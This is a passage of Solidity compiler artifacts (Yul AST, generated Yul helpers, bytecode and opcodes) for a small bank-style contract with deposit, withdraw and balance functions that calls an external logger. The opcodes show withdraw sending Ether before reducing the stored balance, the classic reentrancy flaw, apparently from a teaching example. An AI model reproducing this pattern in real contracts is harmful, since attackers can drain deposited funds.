"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "8375:3:1"
},
"nodeType": "YulFunctionCall",
"src": "8375:18:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "8399:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "8405:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "8395:3:1"
},
"nodeType": "YulFunctionCall",
"src": "8395:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "8368:6:1"
},
"nodeType": "YulFunctionCall",
"src": "8368:48:1"
},
"nodeType": "YulExpressionStatement",
"src": "8368:48:1"
},
{
"nodeType": "YulAssignment",
"src": "8425:139:1",
"value": {
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "8559:4:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "8433:124:1"
},
"nodeType": "YulFunctionCall",
"src": "8433:131:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "8425:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_address_t_uint256_t_stringliteral_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2__to_t_address_t_uint256_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "8123:9:1",
"type": ""
},
{
"name": "value1",
"nodeType": "YulTypedName",
"src": "8135:6:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "8143:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "8154:4:1",
"type": ""
}
],
"src": "7932:639:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_address(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_address(value)\n }\n\n function abi_decode_tuple_t_address(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address(add(headStart, offset), dataEnd)\n }\n\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n function array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, length) -> updated_pos {\n mstore(pos, length)\n updated_pos := add(pos, 0x20)\n }\n\n function store_literal_in_memory_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d(memPtr) {\n\n mstore(add(memPtr, 0), \"Insufficient funds\")\n\n }\n\n function abi_encode_t_stringliteral_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d_to_t_string_memory_ptr_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, 18)\n store_literal_in_memory_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d(pos)\n end := add(pos, 32)\n }\n\n function abi_encode_tuple_t_stringliteral_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d__to_t_string_memory_ptr__fromStack_reversed(headStart ) -> tail {\n tail := add(headStart, 32)\n\n mstore(add(headStart, 0), sub(tail, headStart))\n tail := abi_encode_t_stringliteral_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d_to_t_string_memory_ptr_fromStack( tail)\n\n }\n\n function array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, length) -> updated_pos {\n updated_pos := pos\n }\n\n function store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(memPtr) {\n\n }\n\n function abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, 0)\n store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(pos)\n end := add(pos, 0)\n }\n\n function abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed(pos ) -> end {\n\n pos := abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack( pos)\n\n end := pos\n }\n\n function store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb(memPtr) {\n\n mstore(add(memPtr, 0), \"Failed to send Ether\")\n\n }\n\n function abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, 20)\n store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb(pos)\n end := add(pos, 32)\n }\n\n function abi_encode_tuple_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb__to_t_string_memory_ptr__fromStack_reversed(headStart ) -> tail {\n tail := add(headStart, 32)\n\n mstore(add(headStart, 0), sub(tail, headStart))\n tail := abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack( tail)\n\n }\n\n function panic_error_0x11() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x11)\n revert(0, 0x24)\n }\n\n function checked_sub_t_uint256(x, y) -> diff {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n\n if lt(x, y) { panic_error_0x11() }\n\n diff := sub(x, y)\n }\n\n function abi_encode_t_address_to_t_address_fromStack(value, pos) {\n mstore(pos, cleanup_t_address(value))\n }\n\n function store_literal_in_memory_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367(memPtr) {\n\n mstore(add(memPtr, 0), \"Withdraw\")\n\n }\n\n function abi_encode_t_stringliteral_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367_to_t_string_memory_ptr_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, 8)\n store_literal_in_memory_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367(pos)\n end := add(pos, 32)\n }\n\n function abi_encode_tuple_t_address_t_uint256_t_stringliteral_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367__to_t_address_t_uint256_t_string_memory_ptr__fromStack_reversed(headStart , value1, value0) -> tail {\n tail := add(headStart, 96)\n\n abi_encode_t_address_to_t_address_fromStack(value0, add(headStart, 0))\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value1, add(headStart, 32))\n\n mstore(add(headStart, 64), sub(tail, headStart))\n tail := abi_encode_t_stringliteral_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367_to_t_string_memory_ptr_fromStack( tail)\n\n }\n\n function checked_add_t_uint256(x, y) -> sum {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n\n // overflow, if x > (maxValue - y)\n if gt(x, sub(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, y)) { panic_error_0x11() }\n\n sum := add(x, y)\n }\n\n function store_literal_in_memory_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2(memPtr) {\n\n mstore(add(memPtr, 0), \"Deposit\")\n\n }\n\n function abi_encode_t_stringliteral_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2_to_t_string_memory_ptr_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, 7)\n store_literal_in_memory_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2(pos)\n end := add(pos, 32)\n }\n\n function abi_encode_tuple_t_address_t_uint256_t_stringliteral_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2__to_t_address_t_uint256_t_string_memory_ptr__fromStack_reversed(headStart , value1, value0) -> tail {\n tail := add(headStart, 96)\n\n abi_encode_t_address_to_t_address_fromStack(value0, add(headStart, 0))\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value1, add(headStart, 32))\n\n mstore(add(headStart, 64), sub(tail, headStart))\n tail := abi_encode_t_stringliteral_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2_to_t_string_memory_ptr_fromStack( tail)\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052600436106100345760003560e01c806327e235e3146100395780632e1a7d4d14610076578063d0e30db01461009f575b600080fd5b34801561004557600080fd5b50610060600480360381019061005b919061041f565b6100a9565b60405161006d9190610465565b60405180910390f35b34801561008257600080fd5b5061009d600480360381019061009891906104ac565b6100c1565b005b6100a76102d6565b005b60006020528060005260406000206000915090505481565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161013990610536565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff168260405161016890610587565b60006040518083038185875af1925050503d80600081146101a5576040519150601f19603f3d011682016040523d82523d6000602084013e6101aa565b606091505b50509050806101ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e5906105e8565b60405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461023c9190610637565b92505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a1f2e8aa33846040518363ffffffff1660e01b81526004016102a09291906106c6565b600060405180830381600087803b1580156102ba57600080fd5b505af11580156102ce573d6000803e3d6000fd5b505050505050565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546103249190610702565b92505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a1f2e8aa33346040518363ffffffff1660e01b81526004016103889291906107a4565b600060405180830381600087803b1580156103a257600080fd5b505af11580156103b6573d6000803e3d6000fd5b50505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103ec826103c1565b9050919050565b6103fc816103e1565b811461040757600080fd5b50565b600081359050610419816103f3565b92915050565b600060208284031215610435576104346103bc565b5b60006104438482850161040a565b91505092915050565b6000819050919050565b61045f8161044c565b82525050565b600060208201905061047a6000830184610456565b92915050565b6104898161044c565b811461049457600080fd5b50565b6000813590506104a681610480565b92915050565b6000602082840312156104c2576104c16103bc565b5b60006104d084828501610497565b91505092915050565b600082825260208201905092915050565b7f496e73756666696369656e742066756e64730000000000000000000000000000600082015250565b60006105206012836104d9565b915061052b826104ea565b602082019050919050565b6000602082019050818103600083015261054f81610513565b9050919050565b600081905092915050565b50565b6000610571600083610556565b915061057c82610561565b600082019050919050565b600061059282610564565b9150819050919050565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b60006105d26014836104d9565b91506105dd8261059c565b602082019050919050565b60006020820190508181036000830152610601816105c5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006106428261044c565b915061064d8361044c565b9250828210156106605761065f610608565b5b828203905092915050565b610674816103e1565b82525050565b7f5769746864726177000000000000000000000000000000000000000000000000600082015250565b60006106b06008836104d9565b91506106bb8261067a565b602082019050919050565b60006060820190506106db600083018561066b565b6106e86020830184610456565b81810360408301526106f9816106a3565b90509392505050565b600061070d8261044c565b91506107188361044c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561074d5761074c610608565b5b828201905092915050565b7f4465706f73697400000000000000000000000000000000000000000000000000600082015250565b600061078e6007836104d9565b915061079982610758565b602082019050919050565b60006060820190506107b9600083018561066b565b6107c66020830184610456565b81810360408301526107d781610781565b9050939250505056fea264697066735822122044db4388a44eb96c380880e994b7e2d63024bcc066b0720139136f42d876168a64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x34 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x27E235E3 EQ PUSH2 0x39 JUMPI DUP1 PUSH4 0x2E1A7D4D EQ PUSH2 0x76 JUMPI DUP1 PUSH4 0xD0E30DB0 EQ PUSH2 0x9F JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x45 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x60 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x41F JUMP JUMPDEST PUSH2 0xA9 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x6D SWAP2 SWAP1 PUSH2 0x465 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x82 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x9D PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x98 SWAP2 SWAP1 PUSH2 0x4AC JUMP JUMPDEST PUSH2 0xC1 JUMP JUMPDEST STOP JUMPDEST PUSH2 0xA7 PUSH2 0x2D6 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD DUP2 GT ISZERO PUSH2 0x142 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x139 SWAP1 PUSH2 0x536 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP3 PUSH1 0x40 MLOAD PUSH2 0x168 SWAP1 PUSH2 0x587 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x1A5 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x1AA JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP1 PUSH2 0x1EE JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1E5 SWAP1 PUSH2 0x5E8 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST DUP2 PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD PUSH2 0x23C SWAP2 SWAP1 PUSH2 0x637 JUMP JUMPDEST SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA1F2E8AA CALLER DUP5 PUSH1 0x40 MLOAD DUP4 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x2A0 SWAP3 SWAP2 SWAP1 PUSH2 0x6C6 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x2BA JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x2CE JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP POP JUMP JUMPDEST CALLVALUE PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD PUSH2 0x324 SWAP2 SWAP1 PUSH2 0x702 JUMP JUMPDEST SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA1F2E8AA CALLER CALLVALUE PUSH1 0x40 MLOAD DUP4 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x388 SWAP3 SWAP2 SWAP1 PUSH2 0x7A4 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x3A2 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x3B6 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3EC DUP3 PUSH2 0x3C1 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3FC DUP2 PUSH2 0x3E1 JUMP JUMPDEST DUP2 EQ PUSH2 0x407 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x419 DUP2 PUSH2 0x3F3 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x435 JUMPI PUSH2 0x434 PUSH2 0x3BC JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x443 DUP5 DUP3 DUP6 ADD PUSH2 0x40A JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x45F DUP2 PUSH2 0x44C JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x47A PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x456 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x489 DUP2 PUSH2 0x44C JUMP JUMPDEST DUP2 EQ PUSH2 0x494 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x4A6 DUP2 PUSH2 0x480 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x4C2 JUMPI PUSH2 0x4C1 PUSH2 0x3BC JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x4D0 DUP5 DUP3 DUP6 ADD PUSH2 0x497 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x496E73756666696369656E742066756E64730000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x520 PUSH1 0x12 DUP4 PUSH2 0x4D9 JUMP JUMPDEST SWAP2 POP PUSH2 0x52B DUP3 PUSH2 0x4EA JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x54F DUP2 PUSH2 0x513 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x571 PUSH1 0x0 DUP4 PUSH2 0x556 JUMP JUMPDEST SWAP2 POP PUSH2 0x57C DUP3 PUSH2 0x561 JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x592 DUP3 PUSH2 0x564 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x5D2 PUSH1 0x14 DUP4 PUSH2 0x4D9 JUMP JUMPDEST SWAP2 POP PUSH2 0x5DD DUP3 PUSH2 0x59C JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x601 DUP2 PUSH2 0x5C5 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x642 DUP3 PUSH2 0x44C JUMP JUMPDEST SWAP2 POP PUSH2 0x64D DUP4 PUSH2 0x44C JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x660 JUMPI PUSH2 0x65F PUSH2 0x608 JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x674 DUP2 PUSH2 0x3E1 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH32 0x5769746864726177000000000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x6B0 PUSH1 0x8 DUP4 PUSH2 0x4D9 JUMP JUMPDEST SWAP2 POP PUSH2 0x6BB DUP3 PUSH2 0x67A JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x60 DUP3 ADD SWAP1 POP PUSH2 0x6DB PUSH1 0x0 DUP4 ADD DUP6 PUSH2 0x66B JUMP JUMPDEST PUSH2 0x6E8 PUSH1 0x20 DUP4 ADD DUP5 PUSH2 0x456 JUMP JUMPDEST DUP2 DUP2 SUB PUSH1 0x40 DUP4 ADD MSTORE PUSH2 0x6F9 DUP2 PUSH2 0x6A3 JUMP JUMPDEST SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x70D DUP3 PUSH2 0x44C JUMP JUMPDEST SWAP2 POP PUSH2 0x718 DUP4 PUSH2 0x44C JUMP JUMPDEST SWAP3 POP DUP3 PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF SUB DUP3 GT ISZERO PUSH2 0x74D JUMPI PUSH2 0x74C PUSH2 0x608 JUMP JUMPDEST JUMPDEST DUP3 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4465706F73697400000000000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x78E PUSH1 0x7 DUP4 PUSH2 0x4D9 JUMP JUMPDEST SWAP2 POP PUSH2 0x799 DUP3 PUSH2 0x758 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x60 DUP3 ADD SWAP1 POP PUSH2 0x7B9 PUSH1 0x0 DUP4 ADD DUP6 PUSH2 0x66B JUMP JUMPDEST PUSH2 0x7C6 PUSH1 0x20 DUP4 ADD DUP5 PUSH2 0x456 JUMP JUMPDEST DUP2 DUP2 SUB PUSH1 0x40 DUP4 ADD MSTORE PUSH2 0x7D7 DUP2 PUSH2 0x781 JUMP JUMPDEST SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 DIFFICULTY 0xDB NUMBER DUP9 LOG4 0x4E 0xB9 PUSH13 0x380880E994B7E2D63024BCC066 0xB0 PUSH19 0x139136F42D876168A64736F6C634300080C00 CALLER ",
